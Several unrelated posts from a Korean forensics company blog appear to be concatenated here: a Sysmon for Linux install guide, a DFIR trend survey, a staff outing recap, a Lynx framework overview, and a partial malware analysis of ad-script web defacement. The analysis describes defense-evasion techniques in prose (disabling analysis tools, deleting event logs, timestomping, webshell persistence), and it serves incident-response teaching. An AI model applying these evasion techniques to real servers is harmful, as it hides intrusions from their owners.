Linux Sysmon을 활용하면 시스템 내 동작 중인 프로세스가 수행하는 행위(프로세스 생성, 네트워크 연결 등)를 별도의 로그로 기록할 수 있기 때문에, 기존 로그의 한계를 극복하고 분석가에게 가시성을 제공해 공격자가 수행한 악성 행위를 식별하는 데 많은 도움을 줄 수 있다.

2. Linux Sysmon 설치 및 삭제

2.1. Linux Sysmon 패키지 설치

Linux Sysmon을 설치하기 위해서는 현재 시스템 배포판에 맞게 패키지를 설치해야 한다. 패키지 설치 도구(yum 등)를 통해 패키지를 설치하기 위해서는 외부 인터넷과 통신이 가능한 환경이어야 하며, 배포판에 따라 추가 설정(Microsoft Key 및 Feed 등록)이 존재한다. 외부 인터넷과 통신이 불가능한 환경에서는 공식 Github에서 소스코드와 종속성 패키지들을 다운로드 받아 직접 빌드해야 한다.

본 글에서는 일부 배포판에 대한 패키지 설치 방법을 설명하며, 다른 Linux 배포판에서의 패키지 설치 방법은 아래 링크에서 확인 가능하다.

SysmonForLinux/INSTALL.md at main · microsoft/SysmonForLinux

Sysmon for Linux. Contribute to microsoft/SysmonForLinux development by creating an account on GitHub.

GitHubmicrosoft

RHEL 계열(CentOS)

1. Microsoft Key와 Feed 등록

sudo rpm -Uvh https://packages.microsoft.com/config/rhel/$(. /etc/os-release && echo ${VERSION_ID%%.*})/packages-microsoft-prod.rpm

2. Linux Sysmon 패키지 설치

sudo yum install sysmonforlinux

Ubuntu

1. Microsoft Key와 Feed 등록

sudo wget -q https://packages.microsoft.com/config/ubuntu/$(lsb_release -rs)/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb

2. Linux Sysmon 패키지 설치

sudo apt-get install sysmonforlinux

Azure Linux 3

1. Linux Sysmon 패키지 설치

sudo dnf install sysmonforlinux

수동 설치

1. SysinternalsEBPF의 종속성 패키지 설치

sudo apt install build-essential gcc g++ make cmake libelf-dev llvm clang libzstd1 git libjson-glib-dev

2. SysinternalsEBPF 패키지 다운로드 및 설치

sudo git clone https://github.com/Sysinternals/SysinternalsEBPF.git
cd SysinternalsEBPF
sudo ./libsysinternalsEBPFinstaller

3. Linux Sysmon의 종속성 패키지 설치

sudo apt install build-essential gcc g++ make cmake libelf-dev llvm clang libxml2 libxml2-dev libzstd1 git libgtest-dev apt-transport-https dirmngr monodevelop googletest google-mock libjson-glib-dev

4. Linux Sysmon 소스코드 다운로드 및 빌드

sudo git clone --recurse-submodules https://github.com/Microsoft/SysmonForLinux.git
cd SysmonForLinux
sudo mkdir build
cd build
sudo cmake ..
sudo make

2.2. Linux Sysmon 서비스 설치

Linux Sysmon 패키지 설치 시 바이너리 파일과 구성 파일들이 생성되지만, 자동으로 서비스 설치가 되지 않기 때문에 사용자가 명령어를 통해 서비스를 설치해야 한다.

Linux Sysmon 설치

Linux Sysmon 서비스 설치 전에 패키지가 정상적으로 설치되었는지 아래 명령어를 통해 확인한다.

sudo sysmon -h

Linux Sysmon은 아래 표와 같이 Windows Sysmon에 비해 적은 옵션을 지원하고 있다.

옵션을 사용해 설치하려면 아래 명령어로 설치한다.

sudo sysmon -i [options]

이미 Sysmon이 설치되어 있는데 옵션을 변경하기 위해서는 재설치하거나, sysmon -c [options] 명령어를 이용해 설정을 업데이트할 수 있다. 또한, sysmon -c 명령어를 사용하면 현재 설정된 값을 확인할 수 있다.

2.3. Linux Sysmon 설치 확인

Linux Sysmon 설치를 확인하기 위해서는 세 가지 방법이 있다.

1) 서비스로 확인

Linux Sysmon 설치 시 시스템에 sysmon.service 서비스가 등록되어 자동 실행된다.

2) 파일로 확인

Linux Sysmon 설치 시 /opt/sysmon 경로에 관련 구성 파일들이 생성된다.

3) 로그로 확인

Linux Sysmon 이벤트는 기본적으로 /var/log 경로에 syslog 또는 messages에 저장된다.

2.4. Linux Sysmon 삭제

Linux Sysmon은 아래 명령어로 서비스를 중지시킬 수 있다.

sudo sysmon -u

Linux Sysmon을 완전히 삭제하기 위해서는 아래 경로의 파일들을 삭제한다.

• Sysmon 구성 파일 경로: /opt/sysmon/*

본 글에서는 Linux Sysmon이 무엇이며, 어떻게 설치할 수 있는지 알아봤다. 다음 글은 'Practical guide for Linux Sysmon : Event and Utilization'으로 Linux Sysmon이 지원하는 이벤트와 활용 방안에 대해 알아본다.

Reference

• Action1, 2025 Software Vulnerability Ratings Report https://www.action1.com/software-vulnerability-ratings-report-2025/
• 이스트시큐리티, 2024년 3분기 주요 랜섬웨어 동향 https://www.estsecurity.com/public/security-info/column/view/832583
• Microsoft, Sysmon - Sysinternals https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon?ref=blog.plainbit.co.kr
• Microsoft, SysmonForLinux: Sysmon for Linux https://github.com/microsoft/SysmonForLinux

과거의 침해사고 대응은 주로 사고의 표면적인 현상을 해결하는 데 중점을 두었으나, 최근에는 디지털 포렌식 기술을 활용해 사고의 근본 원인을 규명하고 정밀하게 대응하는 방향으로 전환되고 있다. 이에 따라, 단순한 IR(Incident Response)을 넘어 DFIR(Digital Forensics and Incident Response)이라는 새로운 사고 대응 패러다임이 자리 잡고 있다.

플레인비트는 이러한 변화에 발맞춰 DFIR 서비스, 포렌식 조사, 교육, 컨설팅 등 포렌식 기반의 종합적인 서비스를 제공하고 있으며, 디지털 포렌식 및 사고 대응 분야에서 선도적인 역할을 하고 있다.

최근 200여 명의 실무자를 대상으로 설문조사를 실시해, 디지털 포렌식 및 사고 대응 시장의 주요 트렌드와 과제를 파악했다. 이번 조사는 실무자들의 경험을 바탕으로 각 영역의 환경, 운영 현황, 활용 도구 및 서비스에 대한 데이터를 수집했으며, 이를 통해 2025년 DFIR 분야에서 주목해야 할 현실적인 흐름과 인사이트를 도출해 공유하고자 한다.

2025년에 주목해야 할 흐름

Digital Forensics

도구의 한계를 넘어, 사람의 체계로 완성하는 포렌식

• Trends 1: 새로운 환경에 대응하기 위한 디지털 포렌식 기법 연구 필요
• Trends 2: 환경 변화로 인해 용도에 맞는 다채로운 도구 사용 필요
• Trends 3: 디지털 포렌식 환경에 대한 자동화

Incident Response

보이지 않는 위협엔, 보이는 신뢰가 필요하다.

• Trends 1: 신뢰된 외부 파트너 활용
• Trends 2: 클라우드 환경에 대한 조사 역량 개발
• Trends 3: 하이브리드 공격에 대한 연계 대응

지난 5월 16일, PLAINBIT의 4회차 PLB Day가 진행되었습니다.
올해부터는 매월 진행되던 PLB Day를 분기별로 변경해, 조금 더 여유롭고 깊이 있는 하루를 만들 수 있게 되었는데요.

이번에도 PLB Day는 오전 팀별 발표와 오후 팀별 활동으로 알차게 채워졌습니다.

오전세션🎙️

경영지원실 현은지 과장님의 인사말로 오전 세션의 문을 열었습니다.

이번에도 각 팀은 저마다의 관심사를 담아 흥미로운 주제로 발표를 준비했는데요, 덕분에 웃음과 감탄이 끊이지 않는 시간이 이어졌습니다.

인텔리전스 1팀 현주연 연구원 - "주연이의 갓성비 방콕 여행기"

현주연 연구원은 ‘가성비’를 꽉 잡은 알찬 방콕 여행 일정을 소개하며 모두의 부러움을 샀습니다. 숙소, 맛집, 체험 등 실속 있는 여행 꿀팁을 아낌없이 공유해 덕분에 방콕 여행을 간접 체험하는 듯한 즐거운 시간이었습니다.

인텔리전스 2팀 박범준 선임연구원 - "새집줄게 헌집다오"

박범준 선임연구원은 중고 물건을 사서 직접 고치는 취미를 소개했습니다. 고장 난 전자기기를 고치는 과정을 보여주며, 재미있는 에피소드도 함께 공유했습니다. 독특한 제목만큼이나 신선한 내용으로 모두의 이목을 집중시킨 발표였습니다.

연구팀 이종범 연구원 - "배스 낚시 하러 간 나무꾼"

이종범 연구원은 낚시의 종류, 장비 등을 소개하며 우리를 낚시의 세계로 안내했는데요. 발표 제목에 숨겨진 초보 낚시꾼의 슬픈 사연(?)도 함께 공개하며 발표에 재미를 더했습니다.

개발팀 장윤정 선임연구원 - "10 10 10 9 8"

한화 이글스의 BIG Fan인 장윤정 선임연구원은 야구 덕후의 열정이 느껴지는 발표를 하며 현장을 뜨겁게 달궜습니다! 🔥

디지털포렌식센터 인턴 최승민 연구원 - "스타크래프트 파묘하기"

최승민 연구원은 스타크래프트에 대한 깊이 있는 분석과 더불어 대표님께 스타크래프트 대결을 신청해 모두의 웃음을 자아냈습니다.

오후 세션🎵

각 팀은 다양한 여가 활동을 통해 팀워크를 다졌습니다.
업무에서 벗어나 팀원들과 함께 웃고 떠들며, 더욱 가까워지는 시간이었습니다.

인텔리전스 1팀 & 2팀

함께 글램핑장에서 바비큐를 즐겼습니다. 자연 속에서 고기를 굽고, 담소를 나누며 진짜 힐링의 시간을 보냈다고 하네요.

연구팀 & 개발팀

방탈출 카페에서 팀워크를 발휘해 제한 시간 내 탈출까지 성공!

이후엔 당구장과 노래방까지 들러 흥 넘치는 하루를 완성했습니다. 😆

DFIR 서비스팀

제4회 PLB Day는 비가 추적추적 오는 날이었는데요. 서비스팀은 남한산성으로 향했습니다! 비 오는 날씨와 찰떡궁합인 백숙과 전, 그리고 막걸리까지! 오랜 시간 담소를 나누며 즐거운 시간을 보냈다고 하네요😊

디지털포렌식센터

강남의 방탈출 카페에서 독특한 테마의 방탈출 체험! 사진만 봐도 즐거움이 가득한 시간이었음을 알 수 있었답니다. 🤣

💬 함께 만들어가는 PLB Day

PLB Day는 단순한 휴식이 아니라, 서로를 이해하고 소통하는 시간입니다.
바쁜 일상 속에서 이렇게 함께 웃고 떠들 수 있는 하루가 있다는 것, 참 소중하죠. 🥰

다음 분기에는 또 어떤 이야기와 활동이 기다리고 있을까요?
벌써부터 기대되는 제5회 PLB Day, 그날도 함께해요!

Lynx: ByteDance의 혁신적인 크로스 플랫폼 프레임워크 소개

웹 개발과 모바일 앱 개발 세계가 빠르게 진화하면서, 개발자들은 네이티브급 성능을 달성하면서도 코드 효율성을 유지하는 것이 지속적인 과제로 남아 있습니다. 이에 최근 TikTok의 모회사인 ByteDance에서 오픈소스로 공개한 Lynx 가 주목을 받고 있습니다.

Lynx 공식 홈페이지 (새 창으로 열기) : https://lynxjs.org/

2025년 3월 5일, ByteDance는 자사가 개발한 크로스 플랫폼 UI 프레임워크인 Lynx를 오픈소스로 공개했습니다. Lynx는 웹 기술을 사용하여 네이티브 UI를 생성할 수 있는 기술 패밀리로, 하나의 코드베이스에서 모바일과 웹 등 다양한 플랫폼에 대응할 수 있는 강력한 프레임워크입니다.

이 포스트에서는 Lynx의 핵심 기능, 기술적 특징, 그리고 이 프레임워크가 크로스 플랫폼 개발 트렌드에 미칠 영향이 어떨지, 간단히 살펴보려고 합니다.

ByteDance와 TikTok: Lynx의 탄생 배경

ByteDance는 150개 이상의 앱을 관리하고 수십억 명의 사용자에게 서비스를 제공하는 글로벌 기술 기업입니다. 여러 대규모 서비스를 운영하고 있기 때문에, 개발 프로세스의 혁신이 필요성이 내부에서 더 두드러졌습니다.

이에 필연적으로 높은 성능과 신뢰성을 갖춘 프레임워크가 필요했고, ByteDance의 엔지니어링 팀은 Lynx를 개발하게 되었습니다. Lynx를 개발하면서 ByteDance는 모바일 앱 개발에서 흔히 발생하는 “불가능한 삼각형” 문제를 해결하려고 도전했습니다. 불가능한 삼각형이란 아래와 같습니다.

• 빠른 개발 속도(Short Time to Market)
• 낮은 개발 비용(Low Cost)
• 높은 품질(High Quality, 또는 성능/네이티브 경험)

불가능한 삼각형은 서로 밀접한 관계를 가지고 있으며 모두를 동시에 극대화 하는 것은 거의 불가능에 가깝습니다. 해당 개념에 대해서 추후 별도의 포스트로 작성할 기회가 있을 것 같아 자세한 설명은 생략하겠습니다.

흥미로운 점은 ByteDance가 초기 Flutter 채택자 중 하나였으며, 여전히 Flutter 쇼케이스에 등장한다는 것입니다. 그러나 ByteDance는 더 나은 성능과 웹 개발자 친화적인 환경을 제공하기 위해 Lynx를 개발하기로 결정했습니다.

위와 같은 목표를 가지고 만들어진 Lynx는 메인 앱 서비스는 아니지만 TikTok의 여러 앱 부분에서 이미 성공적으로 사용되고 있습니다. TikTok Studio, Shop, LIVE 등 다양한 플랫폼과 검색 패널에서 Lynx를 적용해 사용하고 있습니다.

Lynx의 핵심 특징과 장점

한 번 작성, 어디서나 렌더링

Lynx의 가장 큰 강점 중 하나는 진정한 크로스 플랫폼 개발을 가능하게 한다는 점입니다. 개발자는 코드를 한 번 작성하면 Android, iOS, 웹에서 원활하게 렌더링할 수 있습니다. 맞춤형 렌더러는 다양한 플랫폼에서 픽셀 완벽 일관성을 보장하여 UI 개발을 효율적으로 만듭니다.

웹 기술 기반의 친숙한 개발 환경

Lynx는 웹 개발 방식의 친숙함을 유지하면서 네이티브 앱 개발의 이점을 제공합니다. CSS와 React에 익숙한 개발자들은 Lynx를 쉽게 사용할 수 있으며, 웹 기술의 강점을 유지하면서 명확한 제약과 확장을 통해 앱 개발에 최적화된 모델을 제공합니다.

구체적으로, Lynx는 다음과 같은 웹 기술을 지원합니다:

• CSS 애니메이션 및 전환 효과
• CSS 선택자 및 변수 지원으로 테마 설정 가능
• 클리핑, 마스킹 등 최신 CSS 비주얼 효과 지원

뛰어난 성능과 확장성

Lynx의 멀티스레드 엔진은 애플리케이션이 최적의 속도와 효율성으로 실행되도록 보장합니다. 네이티브 렌더링 기능을 활용하여 즉각적인 로드와 부드러운 UI 상호작용을 실현합니다.

내부적으로, 웹에서 Lynx로 마이그레이션하면 특히 Android 기기에서 시작 시간이 2-4배 단축되었다고 합니다.

Lynx의 기술적 아키텍처

이중 런타임 시스템

Lynx의 가장 독특한 기술적 특징 중 하나는 사용자 스크립트를 두 개의 독립적인 런타임으로 분리하는 아키텍처입니다

1. 메인 스레드 런타임: PrimJS(JavaScript 엔진) 기반으로 UI 초기 렌더링 및 우선 이벤트를 처리합니다. 이는 특권적이고 동기적인 UI 작업(예: 첫 번째 실행, 높은 우선순위 이벤트)을 담당합니다.
2. 백그라운드 런타임: 기본 사용자 코드를 실행하며, 메인 스레드의 작업량을 낮추고 차단하지 않도록 합니다.

이러한 아키텍처의 핵심 이점은 다음과 같습니다:

즉각적인 첫 프레임 렌더링 (IFR)

Instant First-Frame Rendering

Lynx는 첫 프레임이 완전히 렌더링될 때까지 메인 스레드를 잠시 차단함으로써 공백 화면을 제거하고 즉각적인 응답 사용자 경험을 제공합니다. 이는 사용자가 앱을 열자마자 콘텐츠를 볼 수 있게 해주며, 모바일 앱에서 흔히 볼 수 있는 빈 화면 문제를 해결합니다.

메인 스레드 스크립팅 (MTS)

정적으로 스케줄링된 코드 세그먼트가 높은 우선순위 이벤트와 제스처를 처리하여 네이티브같은 상호작용 느낌을 가능하게 합니다. 이로 인해 사용자는 앱을 사용할 때 더 매끄러운 경험을 할 수 있습니다.

다른 프레임워크와의 비교

Lynx vs React Native

Lynx와 React Native는 모두 크로스 플랫폼 모바일 애플리케이션 개발을 용이하게 하기 위해 설계된 프레임워크지만, 몇 가지 중요한 차이점이 있습니다

• 아키텍처 및 성능: Lynx는 UI 렌더링과 비즈니스 로직을 분리하는 멀티스레드 상호작용 모델을 활용하여 성능과 응답성을 향상시킵니다. 반면 React Native는 JavaScript 코드와 네이티브 모듈 간의 통신을 위해 JavaScript 브릿지를 사용하며, 이는 복잡한 애플리케이션에서 성능 병목 현상을 일으킬 수 있습니다.
• 개발 접근 방식: Lynx는 프레임워크에 구애받지 않도록 설계되었지만 현재 React에 대한 강력한 지원을 제공합니다. 개발자는 웹 개발과 유사하게 마크업과 CSS를 작성할 수 있습니다. React Native는 JavaScript와 React를 사용하여 전체 애플리케이션을 구축할 수 있게 해주며, 컴포넌트는 네이티브 위젯으로 렌더링됩니다.
• 커뮤니티 및 생태계: 최근에 오픈소스화된 Lynx의 공개 생태계는 아직 발전 중입니다. 반면, React Native는 광범위한 커뮤니티 지원, 수많은 플러그인 및 서드파티 라이브러리를 갖춘 성숙한 생태계를 자랑합니다.

Lynx vs Flutter

Flutter는 Google이 개발한 또 다른 인기 있는 크로스 플랫폼 프레임워크입니다. Lynx와 Flutter는 모두 높은 성능을 제공하지만, 중요한 차이점이 있습니다

• Flutter는 Dart 언어를 사용하고 자체 렌더링 엔진(Skia)을 사용하는 반면, Lynx는 JavaScript와 웹 기술을 활용합니다.
• Lynx는 특히 웹 개발 경험이 있는 개발자에게 더 낮은 학습 곡선을 제공합니다.
• 두 프레임워크 모두 멀티스레딩을 지원하고 뛰어난 성능을 제공하지만, 접근 방식은 다릅니다.

Lynx의 사용 사례와 구현

TikTok에서의 활용

Lynx는 이미 TikTok의 여러 애플리케이션에서 성공적으로 사용되고 있습니다. TikTok의 검색 패널, TikTok Studio, TikTok Shop 등 다양한 플랫폼에서 Lynx가 활용되고 있으며, Disney100, Met Gala 등 대형 이벤트에서도 Lynx가 사용되었습니다.

최적의 사용 시나리오

Lynx는 특히 다음과 같은 시나리오에 적합합니다:

• 복잡한 UI 컴포넌트와 부드러운 애니메이션이 필요한 앱: Lynx의 멀티스레드 엔진과 메인 스레드 스크립팅은 복잡한 UI와 애니메이션을 부드럽게 처리할 수 있습니다.
• 기존 네이티브 앱에 고성능 뷰를 통합하려는 경우: Lynx는 현재 처음부터 애플리케이션을 구축하기보다는 기존 네이티브 모바일 앱이나 웹 애플리케이션에 통합될 수 있는 엔진으로 설계되었습니다.
• 이미지 갤러리, 제품 상세 페이지 등 복잡한 레이아웃: 두 열 워터폴 갤러리, 캐러셀이 있는 제품 상세 페이지 등 복잡한 레이아웃을 구현하는 데 Lynx가 효과적입니다.

Lynx 시작하기

설치 및 설정

Lynx를 시작하려면 개발자는 먼저 애플리케이션에 Lynx 엔진을 임베드한 다음 Lynx 뷰를 통해 Lynx 앱을 로드해야 합니다. 현재 Lynx는 프로덕션에서 사용되고 있으며 버전 3.x로 공개되었습니다.

Lynx는 다음과 같은 주요 구성 요소를 제공합니다:

• ReactLynx: Lynx의 초기 React 기반 프론트엔드 프레임워크입니다.
• Rspeedy: 빠른 빌드를 가능하게 하는 Rust 기반 번들러(Rspack)입니다.

예제 프로젝트

Lynx는 새로운 사용자에게 원활한 온보딩 경험을 제공하며, 개발자가 빠르게 애플리케이션을 구축할 수 있도록 합니다. 공식 문서에는 필수 개념을 다루는 단계별 튜토리얼이 포함되어 있습니다.

Lynx에서 제공하는 예제 프로젝트에는 다음이 포함됩니다:

• 두 열 워터폴 갤러리: 이 예제는 개발자에게 반응형 레이아웃으로 이미지 갤러리를 만드는 방법을 안내합니다. 레이아웃 사용자 정의, 성능 최적화, 미디어 렌더링과 같은 핵심 기능을 다룹니다.
• 캐러셀이 있는 제품 상세 페이지: 이 튜토리얼은 캐러셀 기능이 있는 대화형 제품 상세 페이지를 구축하는 데 중점을 둡니다. 높은 응답성 상호작용을 달성하기 위한 메인 스레드 스크립팅 기술을 보여줍니다.

Lynx의 미래와 커뮤니티 개발

오픈소스 커뮤니티의 성장

Lynx는 ByteDance가 개발하고 TikTok에서 광범위하게 사용되고 있으며, TikTok은 Lynx 오픈소스를 지원하고 기술 강화, 커뮤니티 활성화, 생태계 성장에 기여할 예정입니다.

오픈소스를 통해 투명한 개발 과정이 공개될 예정이며, 추가 컴포넌트, 그래픽 렌더러, 프레임워크 등은 추후 공개될 예정입니다. ByteDance는 오픈소스 커뮤니티와 협력해 크로스 플랫폼 개발의 한계를 뛰어넘고자 하며, 활발한 커뮤니티 피드백 및 기여를 환영하고 있습니다.

향후 발전 방향

Lynx는 지속적으로 발전하고 있으며, 향후 업데이트에서는 다음과 같은 더욱 강력한 기능이 추가될 것으로 예상됩니다:

• 향상된 상태 관리: 애플리케이션 상태를 관리하는 더 효율적인 방법.
• 확장된 컴포넌트 라이브러리: 빠른 개발을 위한 더 많은 UI 컴포넌트.
• 개선된 디버깅 도구: 개발자를 위한 간소화된 디버깅 경험.

또한, Lynx는 프레임워크에 구애받지 않고 멀티 플랫폼을 지원하도록 설계되어 있어, 데스크톱, TV, IoT 등으로 확장될 수 있는 잠재력을 가지고 있습니다.

결론

Lynx는 빠르고 직관적이며 고성능 프레임워크를 제공함으로써 네이티브 애플리케이션 구축을 위한 크로스 플랫폼 개발을 재정의하고 있습니다. 웹에서 영감을 받은 디자인, 네이티브 렌더링 기능, 원활한 크로스 플랫폼 통합으로 Lynx는 효율적이고 확장 가능한 애플리케이션을 구축하려는 개발자에게 탁월한 선택 중 하나가 될 수 있습니다.

ByteDance와 TikTok의 지원으로, Lynx는 이미 실제 프로덕션 환경에서 검증된 프레임워크이며, 오픈소스화를 통해 더 많은 개발자가 이 혁신적인 기술을 활용할 수 있게 되었습니다.

크로스 플랫폼 개발의 미래가 어떻게 펼쳐질지는 아직 알 수 없지만, Lynx는 분명히 이 영역에서 중요한 역할을 할 것으로 보입니다. 개발자와 기업들이 Lynx를 탐색하고 채택함에 따라, 우리는 더 많은 혁신과 더 나은 사용자 경험을 기대할 수 있습니다.

웹 페이지 변조 공격은 공격자가 웹 서비스의 취약점을 악용해 웹 페이지의 정상적인 내용을 변조하거나 악성 코드를 삽입하는 행위이다. 해당 공격은 단순한 변조부터 사용자를 악성 사이트로 리디렉션하거나, 스크립트를 통해 개인정보를 탈취하는 형태까지 다양하게 나타나고 있다.

한국인터넷진흥원(KISA)에서 발표한 '2024년 침해사고 유형 TOP5'를 보면, 랜섬웨어보다 적지만 정보 유출과 비슷한 비율로 웹 페이지 변조 공격이 발생하고 있다.

특히, Windows 기반 웹 서비스 환경에서는 공격자가 취약점이나 웹 관리자 크리덴셜 탈취, 악성 파일 업로드 등을 통해 웹 서비스 접근 권한을 획득한 뒤, 외부 광고 스크립트나 악성코드를 삽입하는 사례가 발견되고 있다. 무단으로 삽입된 스크립트는 광고 수익을 위한 외부 광고 노출, 가상화폐 마이닝, 피싱 페이지 리디렉션 등의 다양한 공격으로 이어질 수 있다.

광고 스크립트 삽입 공격은 2019년부터 현재까지 지속적으로 발생하고 있으며, 주로 취약한 Windows 기반 웹 서버를 대상으로 웹셸을 업로드해 공격이 수행된다.

공격에서 주로 많이 활용되는 구글 광고(AdSense) 스크립트는 아래와 같은 형식을 가지고 있다. 만약 기존에 광고를 출력하지 않는 웹 페이지에서 광고를 출력한다면, 해당 형식의 스크립트 구문이 삽입되어 있는지 확인이 필요하다.

최근 PLAINBIT에서 식별한 광고 스크립트 삽입 공격에서 사용된 악성코드는 이전 공격들과 동일한 구조의 악성코드를 사용하고, 특정 경로(%ALLUSERPROFILE%\Microsoft\DeviceSync)에 악성 파일들을 생성한다는 공통점이 있다. 하지만, 분석에 활용되는 도구(Wireshark, Sysmon, Procmon 등) 비활성화, 보안 설정(UAC, 스크립트 실행 정책 등) 우회, 악성 파일 시간(생성/수정) 변조 등 방어 회피를 위한 기능이 추가되어 더욱 고도화한 것으로 확인된다.

따라서, 본 글에서는 최근 식별된 구글 광고 및 악성 스크립트를 삽입하는 악성코드의 기능 및 동작에 대해 분석하고, 웹 페이지 변조 공격에 대응하는 방안을 제시하고자 한다.

2. 악성코드 동작 개요도

웹 페이지 변조 공격은 화면에 직접적으로 출력되는 경우가 많아 시스템 관리자에게 쉽게 조치될 수 있다. 따라서, 공격자는 작업 스케줄러 등을 활용해 악성코드가 주기적으로 실행되도록 설정함으로써, 웹 페이지가 지속적으로 변조되도록 만든다. 이를 통해 변조된 파일이 복원되더라도 악성코드가 재실행되면서 변조 상태가 유지되도록 한다.

최근 공격에서는 작업 스케줄러를 통해 설정된 주기마다 악성 압축파일에서 악성 파일을 추출한 뒤 방어 회피를 위한 보안 설정(UAC, 스크립트 실행 정책 등)을 우회하도록 레지스트리를 수정했다. 또한, 특정 파일(cmd.exe, wevtutil.exe)을 시스템 관리자가 실행하기 어렵도록 접근 권한을 수정한다.

악성 압축파일 내 존재하는 악성 스크립트(winrmr.cmd)가 실행되면서 분석가가 많이 사용하는 도구(Wireshark.exe 등 17개)를 비활성화해 무력화시키고, 스크립트 동작 권한(파일 조작, 시스템 명령 실행)을 설정한다.

이후, 또 다른 악성 압축파일(winrnr.cmd) 내 존재하는 악성 스크립트(winrmr.vbs)가 실행되면서, 'SCFConfig.dat' 파일에 작성되어 있는 정상 웹 소스코드 파일이 악성 스크립트가 삽입된 파일로 변경된다.

아래 그림은 작업 스케줄러를 통해 실행되는 악성코드의 동작 개요도이다.

3. 악성코드 주요 기능

다음은 작업 스케줄러를 통해 실행되는 악성코드의 주요 기능을 분석해, 웹 페이지 변조(웹셸 및 구글 광고 스크립트 삽입)가 수행되는 동작 방식에 대해 설명한다.

1) 분석 도구 무력화

모든 사용자의 레지스트리 프로필에서 'Process Monitor'의 필터 규칙(FilterRules) 값을 00(비활성화)으로 설정하고, 'Process Explorer'의 창 투명도(Opacity) 값을 0으로 설정해 해당 도구의 실행을 방해한다.

또한, 분석에 많이 활용되는 도구들(Wireshark.exe 등)이 실행될 때 전혀 다른 프로그램(cscript.exe)이 동작되도록 레지스트리를 설정해 해당 도구들의 실행을 방해한다.

2) 스크립트 동작 권한 설정

스크립트(VBScript, JScript)에서 파일을 조작하고, 시스템 명령을 실행할 수 있도록 동작 권한을 설정한다.

이후, 레지스트리 키의 소유자를 'TrustedInstaller'로 변경하고, 'SYSTEM' 계정에 읽기 권한만 부여해 시스템 관리자가 쉽게 수정할 수 없도록 제한한다.

3) 악성 압축파일 해제

코드 내 'Extractfile' 함수를 호출해 악성 압축파일(winrnr.cmd)의 'SCFConfig.dat' 파일을 압축 해제한다.

이후, 'SCFConfig.dat' 파일을 읽어 각 줄의 '|'로 구분된 3개의 값을 변수에 할당하고 'CheckFile' 함수를 호출한다.

악성 압축파일(winrnr.cmd)에는 세가지 종류의 파일(SCFConfig.dat, SCFNum.dat, SCF%N%.dat)로 구성되어 있다.

'SCFNum.dat' 파일은 숫자만 기록되어 있는 텍스트 파일로 'SCF%N%.dat' 파일의 총 개수를 나타낸다.

'SCFConfig.dat' 파일은 '|'로 구분된 3개의 값으로 구성되어 있는 텍스트 파일로 첫 번째 필드는 'SCF%N%.dat' 형태로 기록된다. 두 번째 필드는 정상 웹 페이지의 전체 경로(경로와 파일 명)가 기록되어 있으며, 세 번째 필드는 'SCF%N%.dat' 파일의 해시 값이 기록되어 있다.

'SCF%N%.dat' 파일은 웹셸 또는 광고 스크립트가 삽입되어 있는 변조된 웹 소스코드가 저장되어 있다.

'SCF1.dat' 파일은 정상 웹 페이지를 변조한 웹셸 스크립트가 저장되어 있으며, 공격자는 지속적으로 서버에 접근할 수 있도록 백도어 역할로 웹셸을 생성한 것으로 확인된다.

'SCF2.dat' 파일 이후부터는 정상 웹 소스코드 내 구글 광고 스크립트가 삽입된 소스코드가 저장되어 있다.

4) 파일 해시 값 비교 후 웹 페이지 변조

'SCFConfig.dat' 파일에서 두 번째 필드 값(정상 웹 소스코드 파일의 전체 경로)의 해시 값을 계산해 세 번째 필드 값(변조된 파일의 해시 값)과 비교해 다르면, 변조된 파일(SCF%N%.dat)을 두 번째 필드 값으로 복사해 변조시킨다.

5) 악성코드 종료

악성코드가 종료될 때 악성코드가 동작되면서 생긴 흔적들을 없애고, 조치가 어렵도록 시스템 설정을 수정한다.

• 권한 수정, 파일 및 디렉토리 복사, PowerShell 프로세스를 실행하지 못하도록 무력화
• PowerShell 스크립트를 실행할 수 없도록 PowerShell 실행 정책 수정
• 악성코드가 동작하면서 실행된 프로세스 종료
• 공격 행위를 식별하기 어렵도록 이벤트 로그(Security.evtx 등) 삭제
• 악성 압축파일을 해제하며 생긴 악성코드 삭제

6) 시간 변조

공격자는 분석가가 악성코드를 식별하기 어렵도록 파일 및 디렉토리의 시간(생성/수정)을 변조하는 악성코드를 사용한다.

악성코드를 실행하면 NirSoft의 'NirCmd'를 이용해 입력 받은 파일 또는 디렉토리의 시간을 정상적인 파일의 시간과 동일하게 변경한다.

7) 변조 파일 복원

악성 압축파일 내 'winrmr.cmd'와 유사한 'winrsr.cmd' 파일이 존재하는데, 해당 파일은 변조된 파일을 기존의 파일로 복원할 때 사용된다.

'winrsr.cmd'에서 사용하는 악성 압축파일(winsrs.cmd)에 존재하는 'SCF%N%.dat' 파일은 공격자가 소스코드를 변조하기 전의 정상 웹 소스코드의 내용이 존재한다.

공격자의 작업 스케줄러 설정에 따라 관리자가 서버에 접근하는 경우 변조된 웹 페이지를 정상 웹 페이지로 복원하는 기능을 수행한다.

4. 대응 방안

웹 페이지 변조 공격은 고객의 신뢰를 무너뜨리고, 악성코드 유포 등 추가적인 피해로 이어질 수 있다. 이러한 공격은 단순히 '페이지가 바뀌었다'는 수준을 넘어, 공격자의 지속적인 시스템 장악 의도를 포함하기 때문에 조기에 탐지하고 사전 대응하는 것이 매우 중요하다.

1) 웹 서비스 보안 강화

웹 페이지 변조 공격과 같이 웹 서비스를 대상으로 하는 공격은 대부분 웹 서버 또는 서비스 취약점을 통해 발생된다. 따라서, 다음과 같은 웹 서비스의 보안을 강화할 수 있는 방안을 참고해 추가 피해가 발생하지 않도록 조치해야 한다.

• 파일 업로드 취약점 대응
  • 파일 업로드 기능을 사용할 경우 용도에 맞는 확장자만 업로드할 수 있도록 제한하고, MIME-TYPE을 확인해 확장자 제한을 우회할 수 없도록 수정해야 한다.
• 업로드 폴더 권한 제어
  • 파일이 업로드되는 폴더는 파일 저장 용도로 사용되기 때문에, 업로드된 파일이 서버에서 실행되지 않도록 업로드 폴더 내 실행 권한을 제거해야 한다.
• 서비스 동작 계정 권한 점검
  • 웹 서비스가 관리자 권한으로 동작 중인 경우, 공격자가 해당 서비스를 통해 명령 및 악성 파일을 실행하면 서비스 권한으로 동작하게 된다.
  • 따라서, 서비스 동작 시 관리자 계정이나 최상위 권한(SYSTEM) 사용을 지양하고, 서비스 수행에 적합한 최소한의 권한의 계정으로 분리해 운영해야한다.

2) 주기적인 소스코드 무결성 검사

